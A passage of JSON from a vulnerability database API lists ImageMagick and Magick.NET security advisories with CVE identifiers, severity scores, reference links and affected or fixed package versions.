"scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:26:22Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-vpxv-r9pg-7gpr" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25898", "GHSA-vpxv-r9pg-7gpr" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8zwb-29vf-gkag" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50313?format=api", "vulnerability_id": "VCID-92t2-5jrm-cyej", "summary": "ImageMagick has Possible Heap Information Disclosure in PSD ZIP Decompression\nA heap information disclosure vulnerability exists in ImageMagick's PSD (Adobe Photoshop) format handler. When processing a maliciously crafted PSD file containing ZIP-compressed layer data that decompresses to less than the expected size, uninitialized heap memory is leaked into the output image.", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24481", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00017", "scoring_system": "epss", "scoring_elements": "0.0456", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24481" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24481", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24481" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/51c9d33f4770cdcfa1a029199375d570af801c97", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/51c9d33f4770cdcfa1a029199375d570af801c97" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24481", "reference_id": "CVE-2026-24481", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24481" }, { "reference_url": "https://github.com/advisories/GHSA-96pc-27rx-pr36", "reference_id": "GHSA-96pc-27rx-pr36", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-96pc-27rx-pr36" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-96pc-27rx-pr36", "reference_id": "GHSA-96pc-27rx-pr36", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:39:38Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-96pc-27rx-pr36" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-24481", "GHSA-96pc-27rx-pr36" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-92t2-5jrm-cyej" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49777?format=api", "vulnerability_id": "VCID-97p8-5z8e-2qd5", "summary": "ImageMagick has a NULL pointer dereference in MSL parser via <comment> tag before image load\nNULL pointer dereference in MSL (Magick Scripting Language) parser when processing `<comment>` tag before any image is loaded.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23952.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23952.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23952", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00024", "scoring_system": "epss", "scoring_elements": "0.07157", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23952" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23952", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23952" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T21:43:24Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126077", "reference_id": "1126077", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126077" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431905", "reference_id": "2431905", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431905" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23952", "reference_id": "CVE-2026-23952", "reference_type": "", "scores": [], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23952" }, { "reference_url": "https://github.com/advisories/GHSA-5vx3-wx4q-6cj8", "reference_id": "GHSA-5vx3-wx4q-6cj8", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-5vx3-wx4q-6cj8" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5vx3-wx4q-6cj8", "reference_id": "GHSA-5vx3-wx4q-6cj8", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-22T21:43:24Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5vx3-wx4q-6cj8" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73505?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.2" } ], "aliases": [ "CVE-2026-23952", "GHSA-5vx3-wx4q-6cj8" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-97p8-5z8e-2qd5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89770?format=api", "vulnerability_id": "VCID-9dx7-4ewr-6fat", "summary": "ImageMagick has a heap buffer overflow read in magnify operation via unrecognized magnify:method value\nAn unrecognized magnify:method will result in an out of bounds read in the magnify operation.\n\n```\n==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a000000b30\nREAD of size 4 at 0x61a000000b30 thread T0\n```", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8vfj-q2cp-5m5j", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8vfj-q2cp-5m5j" }, { "reference_url": "https://github.com/advisories/GHSA-8vfj-q2cp-5m5j", "reference_id": "GHSA-8vfj-q2cp-5m5j", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-8vfj-q2cp-5m5j" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "GHSA-8vfj-q2cp-5m5j" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-9dx7-4ewr-6fat" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50890?format=api", "vulnerability_id": "VCID-9fpb-ch9j-8yg3", "summary": "ImageMagick has Heap Use-After-Free in ImageMagick MSL decoder\nA heap use-after-free vulnerability in ImageMagick's MSL decoder allows an attacker to trigger access to freed memory by crafting an MSL file.\n\n```\n=================================================================\n==1500633==ERROR: AddressSanitizer: heap-use-after-free on address 0x527000011550 at pc 0x5612583fa212 bp 0x7ffedb86d160 sp 0x7ffedb86d150\nREAD of size 8 at 0x527000011550 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28687.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28687.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28687", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00061", "scoring_system": "epss", "scoring_elements": "0.19444", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28687" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28687", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28687" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445897", "reference_id": "2445897", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445897" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28687", "reference_id": "CVE-2026-28687", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28687" }, { "reference_url": "https://github.com/advisories/GHSA-fpvf-frm6-625q", "reference_id": "GHSA-fpvf-frm6-625q", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-fpvf-frm6-625q" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fpvf-frm6-625q", "reference_id": "GHSA-fpvf-frm6-625q", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-10T16:01:50Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fpvf-frm6-625q" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28687", "GHSA-fpvf-frm6-625q" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-9fpb-ch9j-8yg3" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50330?format=api", "vulnerability_id": "VCID-a58f-bqx9-yfhk", "summary": "ImageMagick has heap-buffer-overflow via signed integer overflow in WriteUHDRImage when writing UHDR images with large dimensions\n`WriteUHDRImage` in `coders/uhdr.c` uses `int` arithmetic to compute the pixel buffer size. When image dimensions are large, the multiplication overflows 32-bit `int`, causing an undersized heap allocation followed by an out-of-bounds write. This can crash the process or potentially lead to an out of bounds heap write.\n```\n==1575126==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc382ef3820 at pc 0x5560d31f229f bp 0x7ffe865f9530 sp 0x7ffe865f9520\nWRITE of size 8 at 0x7fc382ef3820 thread T0", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25794.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25794.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25794", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05513", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25794" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { 